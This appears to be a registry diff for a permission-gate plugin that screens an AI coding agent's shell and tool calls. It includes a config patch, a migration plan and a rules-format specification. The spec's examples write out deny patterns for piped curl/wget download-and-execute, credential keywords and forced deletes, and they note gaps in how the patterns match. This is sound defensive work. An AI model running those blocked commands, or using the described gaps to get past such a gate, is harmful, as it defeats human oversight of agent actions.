dsh-perm-gate 2.1.0 → 3.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (77) hide show
  1. package/CHANGELOG.ja.md +82 -0
  2. package/CHANGELOG.ko.md +80 -0
  3. package/CHANGELOG.md +321 -0
  4. package/INSTALL.ja.md +70 -8
  5. package/INSTALL.ko.md +68 -9
  6. package/INSTALL.md +68 -8
  7. package/INSTALL.zh.md +59 -7
  8. package/README.ja.md +103 -16
  9. package/README.ko.md +101 -17
  10. package/README.md +152 -25
  11. package/README.zh.md +99 -12
  12. package/cordis.patch.yml +34 -3
  13. package/docs/baseline-guard.md +56 -0
  14. package/docs/plan-rules-to-settings.md +217 -0
  15. package/docs/rules-format.en.md +294 -0
  16. package/docs/rules-format.md +279 -0
  17. package/docs/ui-gap-analysis-and-branch-permissions.md +338 -0
  18. package/dsh.plugin.json +22 -0
  19. package/examples/permissions.example.yaml +16 -1
  20. package/lib/agent-identity.d.ts +43 -0
  21. package/lib/agent-identity.js +95 -0
  22. package/lib/allowlist.d.ts +27 -0
  23. package/lib/allowlist.js +103 -1
  24. package/lib/cli.js +11 -14
  25. package/lib/client.js +598 -6
  26. package/lib/client.js.map +1 -1
  27. package/lib/command-dispatcher.d.ts +22 -0
  28. package/lib/command-dispatcher.js +97 -0
  29. package/lib/command-semantics.d.ts +62 -0
  30. package/lib/command-semantics.js +6 -0
  31. package/lib/compiler.d.ts +50 -0
  32. package/lib/compiler.js +122 -0
  33. package/lib/config.d.ts +161 -7
  34. package/lib/config.js +78 -11
  35. package/lib/dry-run.d.ts +87 -0
  36. package/lib/dry-run.js +110 -0
  37. package/lib/engine.js +61 -4
  38. package/lib/evaluate.d.ts +9 -0
  39. package/lib/evaluate.js +264 -1
  40. package/lib/events.d.ts +69 -2
  41. package/lib/events.js +123 -0
  42. package/lib/index.d.ts +1 -1
  43. package/lib/index.js +320 -11
  44. package/lib/network-lifecycle.d.ts +107 -0
  45. package/lib/network-lifecycle.js +180 -0
  46. package/lib/network.d.ts +109 -0
  47. package/lib/network.js +196 -0
  48. package/lib/parsers/git.d.ts +43 -0
  49. package/lib/parsers/git.js +404 -0
  50. package/lib/parsers/shell-cmds.d.ts +32 -0
  51. package/lib/parsers/shell-cmds.js +293 -0
  52. package/lib/preset.d.ts +13 -0
  53. package/lib/preset.js +17 -0
  54. package/lib/proxy.d.ts +160 -0
  55. package/lib/proxy.js +529 -0
  56. package/lib/risk.d.ts +17 -3
  57. package/lib/risk.js +19 -6
  58. package/lib/rule-chain.d.ts +39 -0
  59. package/lib/rule-chain.js +213 -0
  60. package/lib/rule-dims.d.ts +174 -0
  61. package/lib/rule-dims.js +230 -0
  62. package/lib/rule.d.ts +60 -0
  63. package/lib/rule.js +69 -7
  64. package/lib/rules-view.d.ts +52 -0
  65. package/lib/rules-view.js +126 -0
  66. package/lib/runtime.d.ts +208 -7
  67. package/lib/runtime.js +433 -27
  68. package/lib/session-sweep.d.ts +45 -0
  69. package/lib/session-sweep.js +153 -0
  70. package/lib/shadow.d.ts +34 -0
  71. package/lib/shadow.js +143 -0
  72. package/lib/shell.d.ts +14 -0
  73. package/lib/shell.js +17 -0
  74. package/lib/watch.d.ts +42 -0
  75. package/lib/watch.js +170 -0
  76. package/package.json +15 -2
  77. package/scripts/patch-permission-glyph.mjs +209 -0
package/cordis.patch.yml CHANGED
@@ -14,9 +14,17 @@
14
14
  # stays `permissive`: it is the key `gatePresets` matches and the value the
15
15
  # permission projection reports, so only the label text is user-facing.
16
16
  #
17
- # The tier now carries a shield+eye icon in the composer glyph map (patched
18
- # into dsh-client-ui-conversation). The permissive glyph sits alongside the
19
- # three built-in ones so both the trigger button and the dropdown rows show it.
17
+ # The composer's permission picker draws an icon per preset from a CLOSED map
18
+ # inside @deepseek-ai/dsh-client-ui-conversation (`permissionGlyphs`), whose
19
+ # source states the rule: "host-configured names outside the design set get
20
+ # none". DSH ships a shield+eye glyph for `permissive`, so 自动审查 has an icon,
21
+ # but a second plugin tier has none — it falls back to text in the trigger. The
22
+ # map is a closure variable with no plugin-facing seam (the option objects the
23
+ # host supplies carry only {value, name, description}), so the only way to give
24
+ # BOTH tiers the same glyph is to extend that map.
25
+ # `scripts/patch-permission-glyph.mjs` does exactly that, duplicating the
26
+ # `permissive` entry under `permissive-full`. It patches a HOST package, so it
27
+ # must be re-run after any DSH upgrade or reinstall.
20
28
  #
21
29
  # The DSH bundle patch REPLACES the whole `permission.config.presets` map (it
22
30
  # does not merge per key), so this file MUST restate every tier that should
@@ -32,6 +40,24 @@
32
40
  # lost its implementation with that plugin, and this gate is inactive in it
33
41
  # (`gatePresets` defaults to `['permissive']`) — so it only offered a duplicate
34
42
  # tier that looked protected while nothing was.
43
+ #
44
+ # TWO tiers ship, because `sandbox` and `approval` are INDEPENDENT knobs and
45
+ # coupling them forced a bad trade:
46
+ #
47
+ # permissive sandbox: workspace-write approval: ask
48
+ # permissive-full sandbox: danger-full-access approval: ask
49
+ #
50
+ # `permissive` keeps the built-in file sandbox. That sandbox also denies the
51
+ # named pipes a child process needs to start — `git clone`, MSYS2/Cygwin
52
+ # `sh.exe` and ConPTY all fail with `Win32 error 5` under it. Because this gate
53
+ # is only active in the tiers listed in `gatePresets`, a user who wanted the
54
+ # gate had to accept that restriction to get it. `permissive-full` removes the
55
+ # coupling: same approval behaviour, no file-sandbox restriction.
56
+ #
57
+ # The gate itself only reads the preset NAME (see `src/preset.ts`), never the
58
+ # sandbox mode, so both tiers get the full P0–P4 chain. `approval: ask` is
59
+ # required on both — under `approval: never` the DSH seam rejects every ask
60
+ # before any answerer runs, which would degrade this gate's asks to passthrough.
35
61
  - id: permission
36
62
  config:
37
63
  presets:
@@ -46,6 +72,11 @@
46
72
  approval: ask
47
73
  name: 自动审查
48
74
  description: 独立审批档 —— 作用域内安全操作自动放行,危险/未知越界转人工确认(审批强度可在「设置 → 插件 → 自动审查」调整)。
75
+ permissive-full:
76
+ sandbox: danger-full-access
77
+ approval: ask
78
+ name: 自动审查(高权限)
79
+ description: 只由本插件的审批门过滤 —— 文件修改与子进程网络访问不再受沙箱限制,审批仍逐次生效,但没有系统沙箱兜底。
49
80
  danger-full-access:
50
81
  sandbox: danger-full-access
51
82
  approval: never
@@ -0,0 +1,56 @@
1
+ # Baseline Snapshot: feat/capability-absorption
2
+
3
+ > Captured at T0.3/T0.4 on 2026-09-15
4
+ >
5
+ > **为什么这份快照留在仓库里**:下面那 30 个测试文件是能力吸收(6 维度 / 网络执行面 / 热重载)
6
+ > 落地**之前**的既有覆盖,充当回归护栏——新增行为**不得**靠修改它们来适配。
7
+ > 原位置 `.agents/baseline-snapshot.md` 未入库(`.agents/` 是仓库惯例的本地目录),
8
+ > 2026-09-17 迁到 `docs/` 以便随包分发、可追溯。
9
+ > 注意:仓库当前已有 **40** 个测试文件;本列表是**护栏基线**,不是当前全量清单。
10
+
11
+ ## Gate Status
12
+
13
+ | Gate | Status | Notes |
14
+ |------|--------|-------|
15
+ | typecheck | ✅ 0 errors | After pre-existing fix commit |
16
+ | test | ✅ 278/278 | 30 spec files |
17
+ | build | ✅ tsc + tsdown | client.js 99.95 kB |
18
+ | lint | ✅ 0 errors | — |
19
+
20
+ ## Pre-existing Fixes (committed)
21
+
22
+ - `src/risk.ts:137-138` — cast `req.args` to `Record<string, unknown>` (was `{}`)
23
+ - `src/runtime.ts:26` — add `import { decomposeShellCommand } from './shell.js'`
24
+
25
+ ## Test File List (30 files, DO NOT modify to accommodate new behavior)
26
+
27
+ 1. audit.spec.ts
28
+ 2. auto-allow-tools.spec.ts
29
+ 3. compiler.spec.ts
30
+ 4. custom-llm.spec.ts
31
+ 5. data-home.spec.ts
32
+ 6. deny-keywords.spec.ts
33
+ 7. deny-keywords-scope.spec.ts
34
+ 8. engine.spec.ts
35
+ 9. evaluate.spec.ts
36
+ 10. events.spec.ts
37
+ 11. feature.spec.ts
38
+ 12. grant.spec.ts
39
+ 13. host-llm.spec.ts
40
+ 14. learning.spec.ts
41
+ 15. manual-approval.spec.ts
42
+ 16. patch-presets.spec.ts
43
+ 17. permissive.spec.ts
44
+ 18. pre-execute.spec.ts
45
+ 19. preset-scope.spec.ts
46
+ 20. review.spec.ts
47
+ 21. risk.spec.ts
48
+ 22. rule.spec.ts
49
+ 23. runtime.spec.ts
50
+ 24. runtime-risk.spec.ts
51
+ 25. sediment.spec.ts
52
+ 26. session-resolution.spec.ts
53
+ 27. session-sweep.spec.ts
54
+ 28. session-sweep-apply.spec.ts
55
+ 29. shell.spec.ts
56
+ 30. write-path.spec.ts
@@ -0,0 +1,217 @@
1
+ # Plan: rules.yml → DSH Settings Namespace Migration
2
+
3
+ ## Goal
4
+
5
+ Eliminate the external `rules.yml` file dependency by migrating rules into the DSH settings namespace (`dsh-perm-gate.rules`). This solves the cold-start directory problem at the root cause: settings are managed by the framework and loaded before any plugin `apply()` runs.
6
+
7
+ ## Current Architecture
8
+
9
+ ```
10
+ User edits rules.yml (or allowlist card writes to it)
11
+ ↓
12
+ resolveRulesFile() → path string
13
+ ↓
14
+ readFileSafe() → raw YAML text
15
+ ↓
16
+ parsePermissionsDocument() → structured doc
17
+ ↓
18
+ compileDocument() → CompiledRuleset
19
+ ↓
20
+ PermGateRuntime.decide() → verdict
21
+ ```
22
+
23
+ Read-only view:
24
+ ```
25
+ GET /api/dsh-perm-gate/rules
26
+ → readRulesView(rulesFile)
27
+ → statSync + readFileSync + parse + compile
28
+ → RulesView { path, exists, bytes, hash, raw, counts, error }
29
+ ```
30
+
31
+ Write path (allowlist card):
32
+ ```
33
+ appendAllowCommand() / replaceAllowCommands()
34
+ → readFileSync → parse → mutate → stringify → writeFileSync
35
+ ```
36
+
37
+ ## Target Architecture
38
+
39
+ ```
40
+ User edits via settings card (or API)
41
+ ↓
42
+ settings.get('dsh-perm-gate.rules') → structured object (already parsed)
43
+ ↓
44
+ compileDocument(rules) → CompiledRuleset
45
+ ↓
46
+ PermGateRuntime.decide() → verdict
47
+ ```
48
+
49
+ Read-only view:
50
+ ```
51
+ GET /api/dsh-perm-gate/rules
52
+ → settings.get('dsh-perm-gate.rules')
53
+ → RulesView { source: 'settings', rules: {...}, counts, hash }
54
+ ```
55
+
56
+ Write path (allowlist card):
57
+ ```
58
+ settings.update({ rules: { allow: [...] } })
59
+ → framework persists to settings.yaml
60
+ → settings.watch() triggers reload
61
+ ```
62
+
63
+ ## Schema (config.ts)
64
+
65
+ ```typescript
66
+ // New settings schema for rules
67
+ const RuleEntrySchema = z.object({
68
+ command: z.array(z.string()).optional(),
69
+ args: z.array(z.string()).optional(),
70
+ tools: z.array(z.string()).optional(),
71
+ network: z.object({
72
+ domains: z.array(z.string()),
73
+ }).optional(),
74
+ reason: z.string().default(''),
75
+ })
76
+
77
+ const RulesSchema = z.object({
78
+ defaultAction: z.enum(['allow', 'deny', 'ask']).default('ask'),
79
+ deny: z.array(RuleEntrySchema).default([]),
80
+ allow: z.array(RuleEntrySchema).default([]),
81
+ ask: z.array(RuleEntrySchema).default([]),
82
+ network: z.object({
83
+ domains: z.array(z.string()).default([]),
84
+ }).optional(),
85
+ }).default({ defaultAction: 'ask', deny: [], allow: [] })
86
+ ```
87
+
88
+ ## Migration Steps
89
+
90
+ ### Phase 1: Dual-Source (backward compatible)
91
+
92
+ 1. **Add `rules` to settings schema** — new field in `dsh-perm-gate` namespace
93
+ 2. **Runtime reads from settings first, falls back to file** — `settings.get('rules') ?? loadRulesFile()`
94
+ 3. **Allowlist card writes to settings** — `settings.update({ rules: { allow: [...] } })`
95
+ 4. **Rules view serves from settings** — `readRulesView()` reads from settings object, not file
96
+ 5. **Module-level: still create dataDir** — belt-and-suspenders for the transition period
97
+
98
+ ### Phase 2: File Deprecation
99
+
100
+ 6. **Log deprecation warning** — when `rulesFile` is configured, warn that it's deprecated
101
+ 7. **Import button** — UI can import existing `rules.yml` into settings
102
+ 8. **Export button** — UI can export settings rules as YAML for version control
103
+
104
+ ### Phase 3: File Removal
105
+
106
+ 9. **Remove `rulesFile` config option** — no longer accepted
107
+ 10. **Remove file I/O code** — `allowlist.ts`, `rules-view.ts` file operations
108
+ 11. **Remove chokidar watcher** — settings has built-in `watch()`
109
+ 12. **Remove dataDir bootstrap** — no longer needed
110
+
111
+ ## How the Read-Only View Changes
112
+
113
+ ### Before (file-based)
114
+
115
+ ```json
116
+ {
117
+ "path": "C:\\Users\\joshua\\.dsh\\perm-gate\\rules.yml",
118
+ "exists": true,
119
+ "bytes": 1513,
120
+ "hash": "abc123...",
121
+ "lines": 61,
122
+ "raw": "permissions:\n defaultAction: ask\n deny:\n ...",
123
+ "truncated": false,
124
+ "defaultAction": "ask",
125
+ "counts": { "allow": 11, "deny": 1, "ask": 0 },
126
+ "error": null
127
+ }
128
+ ```
129
+
130
+ ### After (settings-based)
131
+
132
+ ```json
133
+ {
134
+ "source": "settings",
135
+ "defaultAction": "ask",
136
+ "counts": { "allow": 11, "deny": 1, "ask": 0 },
137
+ "hash": "abc123...",
138
+ "rules": {
139
+ "defaultAction": "ask",
140
+ "deny": [
141
+ { "tools": ["shell", "pwsh"], "command": ["rm#recursive"], "reason": "destructive" }
142
+ ],
143
+ "allow": [
144
+ { "command": ["grep"], "reason": "permissive allowlist" }
145
+ ],
146
+ "network": {
147
+ "domains": ["github.com", "registry.npmjs.org"]
148
+ }
149
+ }
150
+ }
151
+ ```
152
+
153
+ **Key differences:**
154
+ - `path` / `exists` / `bytes` / `raw` / `truncated` → removed (no file)
155
+ - `source: 'settings'` → added (provenance)
156
+ - `rules` → the structured object (already parsed, not raw YAML)
157
+ - `counts` / `defaultAction` / `hash` → kept (useful for UI)
158
+
159
+ ## How the Allowlist Write Path Changes
160
+
161
+ ### Before (file-based)
162
+
163
+ ```typescript
164
+ // appendAllowCommand reads YAML, mutates, writes back
165
+ appendAllowCommand(rulesFile, 'git push', 'permissive allow-everywhere')
166
+ // → readFileSync → parse → push → stringify → writeFileSync
167
+ ```
168
+
169
+ ### After (settings-based)
170
+
171
+ ```typescript
172
+ // Direct settings update
173
+ const current = settings.get('dsh-perm-gate.rules')
174
+ const allow = [...(current.allow ?? []), { command: ['git push'], reason: 'permissive allow-everywhere' }]
175
+ settings.update({ rules: { ...current, allow } })
176
+ // → framework persists → settings.watch() triggers reload
177
+ ```
178
+
179
+ ## Files Changed
180
+
181
+ | File | Change |
182
+ |---|---|
183
+ | `src/config.ts` | Add `RulesSchema`, keep `resolveRulesFile` for backward compat |
184
+ | `src/index.ts` | Read from settings first, fall back to file; register settings schema |
185
+ | `src/runtime.ts` | Accept `rules` object directly (no file read) |
186
+ | `src/rules-view.ts` | Add `readRulesViewFromSettings()` |
187
+ | `src/allowlist.ts` | Add `appendAllowToSettings()`, `replaceAllowInSettings()` |
188
+ | `src/events.ts` | Update `registerRulesRoute` to use settings view |
189
+ | `src/watch.ts` | Remove chokidar watcher (settings has built-in watch) |
190
+
191
+ ## Cold-Start Resilience (All Plugins)
192
+
193
+ The same pattern should be applied to other plugins that read files at startup:
194
+
195
+ | Plugin | Data | Risk | Fix |
196
+ |---|---|---|---|
197
+ | `dsh-perm-gate` | rules.yml | HIGH | Settings migration (this plan) |
198
+ | `dsh-search-index` | index files | MEDIUM | dataDir bootstrap + try/catch |
199
+ | `dsh-session-guard` | guard config | LOW | Already settings-backed |
200
+ | `dsh-prime-memory` | memory files | MEDIUM | dataDir bootstrap + try/catch |
201
+ | `dsh-context-compression` | config | LOW | Already settings-backed |
202
+
203
+ **Universal pattern:**
204
+ 1. Module-level `ensureDataDir()` — belt
205
+ 2. Read paths: `dataDirReady()` check → empty defaults if missing
206
+ 3. Write paths: `ensureDataDir()` before first write
207
+ 4. All file reads wrapped in try/catch with graceful fallback
208
+
209
+ ## Testing
210
+
211
+ - [ ] Unit: `compileDocument` with settings-sourced rules (same as YAML-sourced)
212
+ - [ ] Unit: `readRulesViewFromSettings` returns correct `RulesView`
213
+ - [ ] Unit: `appendAllowToSettings` correctly mutates settings object
214
+ - [ ] Integration: settings card reads and displays rules
215
+ - [ ] Integration: allowlist card writes persist to settings
216
+ - [ ] Migration: existing `rules.yml` imports into settings correctly
217
+ - [ ] Cold start: plugin loads with empty settings (no rules configured)
@@ -0,0 +1,294 @@
1
+ # Rules File Format (`permissions` YAML)
2
+
3
+ > **Authority**: the dimension list below is byte-for-byte identical to `VALID_KEYS` in
4
+ > `src/rule.ts:181`. A change to either must be mirrored; `test/rule.spec.ts` and
5
+ > `test/rule-dims.spec.ts` are the runtime guards.
6
+ > Applies to `dsh-perm-gate` **2.4.1** (DSH ≥ 0.1.2-alpha.1).
7
+
8
+ ---
9
+
10
+ ## 1. Location and loading
11
+
12
+ | Item | Description |
13
+ |---|---|
14
+ | Default path | `<dataDir>/rules.yml` (`dataDir` resolved by `config.resolveDataDir`, default `$DSH_HOME/perm-gate/`) |
15
+ | Explicit | `config.rulesFile` |
16
+ | Rule chain | Multi-file chains supported (`rulesChain` / `searchUp` / `fallbackPath` / `badFilePolicy` / `maxRules`) — see `src/rule-chain.ts` |
17
+ | Hot reload | `src/watch.ts` (chokidar) watches the effective files and recompiles the whole chain after a debounce |
18
+ | Parse failure | **fail loud** — invalid rules raise, they never silently stand the gate down |
19
+
20
+ ---
21
+
22
+ ## 2. Top level
23
+
24
+ ```yaml
25
+ defaultAction: ask # optional; used when nothing matches. Default: ask
26
+ deny: # action partitions (arrays)
27
+ - <rule entry>
28
+ allow:
29
+ - <rule entry>
30
+ ask:
31
+ - <rule entry>
32
+ ```
33
+
34
+ **The action IS the partition**: entries carry no `action` field (if present it must agree with its
35
+ partition). Evaluation order is fixed: **deny → allow → ask → defaultAction**, first match wins
36
+ (deny wins over allow). The keyword blacklist runs ahead of `deny`.
37
+
38
+ `defaultAction` accepts `allow` | `ask` | `deny` (default `ask`).
39
+
40
+ ---
41
+
42
+ ## 3. Entry fields (`VALID_KEYS`)
43
+
44
+ ```
45
+ tools · command · args · paths · params · absent · agents · when · argv · network · branch
46
+ action · reason · enabled
47
+ ```
48
+
49
+ | Field | Type | Purpose |
50
+ |---|---|---|
51
+ | `tools` | string / string[] | Tool-name glob |
52
+ | `command` | string / string[] | Command word, with `word#recursive` / `word#force` suffixes |
53
+ | `args` | string / string[] | Argument token scan |
54
+ | `paths` | string / string[] | Workspace-relative path glob |
55
+ | `params` | mapping | Parameter key → value glob list |
56
+ | `absent` | string / string[] | Parameter keys that must NOT be present |
57
+ | `agents` | string / string[] | `main` / `subagent` / `preset:<name>` |
58
+ | `when` | mapping | Environment and platform conditions |
59
+ | `argv` | mapping | Extra argv patterns (`pipeline`) |
60
+ | `network` | mapping | Domain / IP / port / scheme |
61
+ | `branch` | mapping | Git branch / remote / protected branch (git commands only) |
62
+ | `action` | `allow`\|`ask`\|`deny` | Optional; must agree with its partition |
63
+ | `reason` | string | Human-readable rationale (lands in events and the UI) |
64
+ | `enabled` | boolean | `false` skips the entry |
65
+
66
+ **Across dimensions = AND**: every dimension present in one entry must be satisfied.
67
+ **Within a dimension = OR**: any single pattern in the list suffices (`params` / `when` /
68
+ `network` use AND across their sub-keys — see below).
69
+
70
+ ---
71
+
72
+ ## 4. Dimension semantics
73
+
74
+ ### 4.1 `tools` — tool name
75
+ ```yaml
76
+ - tools: [shell, pwsh, bash]
77
+ ```
78
+ Glob match. OR within the list.
79
+
80
+ ### 4.2 `command` — command word
81
+ ```yaml
82
+ - command: [rm#recursive, rm#force]
83
+ ```
84
+ Words come from argv decomposition (`src/shell.ts`). The `#recursive` / `#force` suffixes
85
+ require the corresponding semantics. OR within the list.
86
+
87
+ ### 4.3 `args` — argument tokens
88
+ ```yaml
89
+ - args: ["--force", "-rf"]
90
+ ```
91
+ Scans the decomposed token set. **⚠ Semantics are OR**: any single token matching any single
92
+ pattern matches. It can **not** require "`push` and `--force` together", and it can not tell
93
+ `git push --force origin main` from `git checkout --force main` — use `params` (or the future
94
+ `branch` dimension) when you need that discrimination.
95
+
96
+ ### 4.4 `paths` — paths
97
+ ```yaml
98
+ - paths: ["src/**", "!src/vendor/**"]
99
+ ```
100
+ Workspace-relative globs; `!` negates. OR within the list.
101
+
102
+ ### 4.5 `params` — key-targeted matching (**AND over keys**)
103
+ ```yaml
104
+ - params:
105
+ command: ["*--force*", "!*--dry-run*"]
106
+ flags.mode: ["production"]
107
+ ```
108
+ - Each key's **actual value** must match **at least one** pattern of that key (OR within the list)
109
+ - **Every listed key must be satisfied** (AND across keys)
110
+ - A single `!`-prefixed pattern negates (the value must NOT match the remainder)
111
+ - An empty pattern list only requires the key to exist (any value)
112
+
113
+ This is the main tool for compound conditions — the AND cases `args` can not express.
114
+
115
+ ### 4.6 `absent` — keys must be missing (AND)
116
+ ```yaml
117
+ - absent: [dry_run, force]
118
+ ```
119
+ Every listed parameter key must be absent.
120
+
121
+ ### 4.7 `agents` — agent identity
122
+ ```yaml
123
+ - agents: ["main", "preset:reviewer"]
124
+ ```
125
+ Valid values: `main`, `subagent`, `preset:<name>` (case-insensitive); anything else fails at parse
126
+ time. Candidates come from session headers via `src/agent-identity.ts`. OR within the list.
127
+
128
+ ### 4.8 `when` — environment and platform (AND)
129
+ ```yaml
130
+ - when:
131
+ env:
132
+ NODE_ENV: ["production"]
133
+ CI: ["true", "1"]
134
+ platform: [linux, win32]
135
+ ```
136
+ - `env`: key → allowed values (**OR within a list**, **AND across keys**)
137
+ - `platform`: Node.js `process.platform` values
138
+ - `nodeVersion`: reserved, not yet evaluated
139
+
140
+ ### 4.9 `argv` — extra argv patterns
141
+ ```yaml
142
+ - argv:
143
+ pipeline: ["curl*|sh", "wget*|bash"]
144
+ ```
145
+ `pipeline` matches the **whole pipeline string**: each simple command's **full argv**
146
+ (command word + args + redirect targets) joined by `|`, so `curl https://x.sh | sh`
147
+ yields `curl https://x.sh|sh`.
148
+
149
+ **⚠ The `|` in a pattern is a literal**, so `curl|sh` only matches the argument-less
150
+ adjacent form; covering the common form with arguments requires `curl*|sh`.
151
+ (Historical defect: the match string was built from the command word alone, so
152
+ `curl|sh` matched the harmless `curl|sh` while the genuinely dangerous
153
+ `curl https://x.sh | sh` did not match at all.)
154
+
155
+ ### 4.10 `network` — network targets (AND across sub-dimensions)
156
+ ```yaml
157
+ - network:
158
+ domains: ["*.internal.corp", "github.com"]
159
+ ips: ["10.0.0.0/8", "192.168.1.1"]
160
+ ports: ["443", "8000-9000"]
161
+ schemes: [https, http]
162
+ ```
163
+ - Every **present** sub-dimension must match (AND); inside a sub-dimension, OR
164
+ - `domains` supports globs; `ips` supports CIDR; `ports` supports ranges; `schemes` are protocol names
165
+
166
+ The network dimension acts on two seams: the static URL-candidate check in `tools/pre-execute`,
167
+ and the loopback proxy that intercepts real egress traffic (`network.enabled` is **false by
168
+ default** — opt-in).
169
+
170
+ ### 4.11 `branch` — git branch / remote / protected branch (AND across sub-dimensions)
171
+
172
+ ```yaml
173
+ - command: [git]
174
+ args: [push]
175
+ branch:
176
+ target: [main, master, "release*"]
177
+ remote: [origin]
178
+ shared: true
179
+ ```
180
+
181
+ | Sub-field | Semantics |
182
+ |---|---|
183
+ | `target` | Branch-name glob (`*` **crosses** `/`, so `release*` matches `release/1.0`) |
184
+ | `remote` | Remote-name glob |
185
+ | `shared` | Require the target branch to be a **protected** branch |
186
+
187
+ **Why this dimension exists**: `args` is OR-over-tokens (§4.3). It can ask "does `--force`
188
+ appear?" but never "does `--force` appear **on a push to a protected branch**?". The decisive
189
+ case is telling two commands with identical tokens apart:
190
+
191
+ - `git push --force origin main` → dangerous, must match
192
+ - `git checkout --force main` → routine, must **not** match
193
+
194
+ Candidates come from the shared command classifier (`src/command-dispatcher.ts` +
195
+ `src/parsers/git.ts`), so `refspec` forms (`HEAD:main`) are already split, a remote name is
196
+ never mistaken for a branch name, and flags are normalized.
197
+
198
+ **Three boundaries worth knowing**:
199
+
200
+ 1. **Git commands only.** A non-git command (`rm -rf`, `npm install`, …) satisfies no `branch`
201
+ sub-dimension, so a rule that names a branch simply does not match it (and never throws) —
202
+ those commands are covered by the write-path layer and the blacklist.
203
+ 2. **`shared` is static.** It comes from the parser's protected-branch list
204
+ (`PROTECTED_BRANCHES` in `src/parsers/git.ts`: `main` / `master` / `production` / `release` /
205
+ `stable`). It does **not** run `git branch -r --contains` — that would put a subprocess on the
206
+ decision path. Note `shared` and `target` are independent sub-dimensions: with
207
+ `target: ["release*"]`, `release/1.0` satisfies `target` but not `shared` (the protected list
208
+ matches exactly).
209
+ 3. **AND across sub-dimensions, OR within each**; any one of several simple commands
210
+ (pipeline / `&&`) may satisfy it.
211
+
212
+ ---
213
+
214
+ ## 5. Complete example
215
+
216
+ ```yaml
217
+ defaultAction: ask
218
+
219
+ deny:
220
+ # Credential material in a command (P0 hard-deny also backs this up)
221
+ - tools: [shell, pwsh]
222
+ params:
223
+ command: ["*AWS_SECRET*", "*PRIVATE KEY*"]
224
+ reason: "credential material in command"
225
+
226
+ # Download-and-execute via a pipe
227
+ - argv:
228
+ pipeline: ["curl*|sh", "wget*|bash"]
229
+ reason: "piped download-and-execute"
230
+
231
+ # Push to a protected branch (the distinction `args` can not make:
232
+ # the same tokens on a checkout do not match)
233
+ - command: [git]
234
+ args: [push]
235
+ branch:
236
+ target: [main, master, "release*"]
237
+ shared: true
238
+ reason: "push to a protected branch"
239
+
240
+ # Forced recursive delete in production
241
+ - command: [rm#recursive, rm#force]
242
+ when:
243
+ env:
244
+ NODE_ENV: ["production"]
245
+ reason: "recursive force delete in production"
246
+
247
+ allow:
248
+ # Common read-only queries
249
+ - tools: [read, grep, glob]
250
+ reason: "read-only workspace queries"
251
+
252
+ # Common dev hosts
253
+ - network:
254
+ domains: [github.com, "*.githubusercontent.com"]
255
+ schemes: [https]
256
+ reason: "common dev hosts"
257
+
258
+ ask:
259
+ # Push needs confirmation (note: args is OR, so this only requires `push` to appear)
260
+ - command: [git]
261
+ args: ["push"]
262
+ reason: "git push requires confirmation"
263
+ ```
264
+
265
+ The same sample ships with the package: `examples/permissions.example.yaml`.
266
+
267
+ ---
268
+
269
+ ## 6. Pairing with the CLI dry-run
270
+
271
+ Dry-run before you go live:
272
+
273
+ ```powershell
274
+ # List the compiled rules (default action, rule count, permissive-strategy snapshot)
275
+ dsh-perm-gate --rules permissions.yaml --list
276
+
277
+ # Evaluate one call (--args is JSON; short values can be inlined)
278
+ dsh-perm-gate --rules permissions.yaml --tool read --args "{\"file_path\":\"src/index.ts\"}"
279
+ ```
280
+
281
+ The output is JSON: `decision` (`allow` / `ask` / `deny`), `reason`, `audited`.
282
+
283
+ **Two gotchas worth knowing**:
284
+
285
+ 1. **The blacklist fires before your rules.** The `deny-keyword` layer runs ahead of the `deny:`
286
+ partition, so preset words like `rm -rf` or `push --force` are vetoed before your rules are
287
+ consulted — a `deny-keyword:` prefix in the dry-run output means that layer decided, not your rule.
288
+ 2. **Long quoted arguments get re-parsed by PowerShell** (you may see
289
+ `--args must be valid JSON`). Safe options: write the JSON to a file and pass
290
+ `--args (Get-Content -Raw args.json)`, or lean on the dimension coverage in
291
+ `test/rule-dims.spec.ts` and `test/evaluate.spec.ts`.
292
+
293
+ The CLI and the runtime share one decision engine (`evaluate.ts` + `engine.ts`), so its output is
294
+ the real verdict.